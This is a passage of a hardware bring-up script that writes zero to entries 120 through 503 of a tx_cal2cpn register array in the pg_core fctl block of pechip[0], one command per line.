bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 120 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 121 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 122 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 123 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 124 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 125 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 126 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 127 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 128 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 129 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 130 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 131 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 132 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 133 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 134 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 135 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 136 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 137 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 138 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 139 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 140 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 141 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 142 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 143 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 144 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 145 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 146 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 147 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 148 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 149 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 150 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 151 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 152 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 153 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 154 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 155 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 156 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 157 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 158 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 159 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 160 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 161 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 162 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 163 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 164 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 165 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 166 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 167 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 168 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 169 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 170 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 171 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 172 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 173 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 174 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 175 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 176 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 177 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 178 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 179 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 180 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 181 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 182 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 183 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 184 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 185 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 186 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 187 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 188 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 189 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 190 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 191 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 192 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 193 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 194 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 195 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 196 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 197 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 198 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 199 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 200 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 201 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 202 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 203 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 204 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 205 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 206 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 207 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 208 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 209 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 210 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 211 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 212 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 213 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 214 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 215 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 216 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 217 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 218 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 219 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 220 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 221 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 222 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 223 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 224 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 225 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 226 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 227 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 228 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 229 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 230 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 231 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 232 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 233 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 234 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 235 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 236 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 237 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 238 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 239 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 240 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 241 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 242 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 243 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 244 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 245 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 246 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 247 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 248 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 249 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 250 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 251 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 252 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 253 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 254 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 255 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 256 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 257 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 258 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 259 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 260 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 261 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 262 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 263 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 264 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 265 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 266 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 267 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 268 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 269 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 270 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 271 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 272 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 273 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 274 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 275 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 276 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 277 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 278 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 279 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 280 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 281 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 282 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 283 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 284 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 285 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 286 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 287 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 288 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 289 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 290 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 291 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 292 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 293 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 294 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 295 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 296 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 297 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 298 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 299 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 300 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 301 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 302 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 303 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 304 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 305 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 306 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 307 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 308 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 309 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 310 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 311 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 312 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 313 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 314 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 315 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 316 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 317 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 318 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 319 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 320 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 321 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 322 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 323 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 324 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 325 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 326 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 327 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 328 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 329 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 330 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 331 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 332 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 333 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 334 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 335 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 336 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 337 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 338 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 339 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 340 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 341 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 342 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 343 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 344 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 345 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 346 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 347 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 348 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 349 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 350 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 351 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 352 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 353 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 354 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 355 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 356 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 357 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 358 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 359 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 360 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 361 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 362 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 363 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 364 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 365 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 366 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 367 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 368 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 369 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 370 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 371 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 372 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 373 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 374 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 375 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 376 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 377 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 378 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 379 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 380 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 381 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 382 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 383 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 384 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 385 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 386 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 387 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 388 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 389 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 390 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 391 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 392 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 393 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 394 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 395 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 396 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 397 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 398 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 399 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 400 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 401 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 402 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 403 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 404 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 405 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 406 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 407 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 408 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 409 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 410 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 411 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 412 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 413 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 414 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 415 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 416 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 417 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 418 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 419 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 420 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 421 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 422 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 423 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 424 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 425 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 426 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 427 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 428 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 429 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 430 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 431 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 432 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 433 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 434 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 435 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 436 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 437 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 438 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 439 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 440 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 441 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 442 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 443 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 444 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 445 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 446 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 447 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 448 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 449 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 450 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 451 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 452 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 453 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 454 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 455 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 456 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 457 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 458 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 459 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 460 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 461 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 462 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 463 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 464 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 465 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 466 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 467 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 468 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 469 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 470 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 471 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 472 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 473 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 474 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 475 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 476 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 477 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 478 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 479 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 480 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 481 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 482 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 483 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 484 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 485 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 486 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 487 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 488 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 489 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 490 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 491 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 492 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 493 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 494 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 495 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 496 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 497 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 498 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 499 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 500 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 501 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 502 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 503 0x00000000
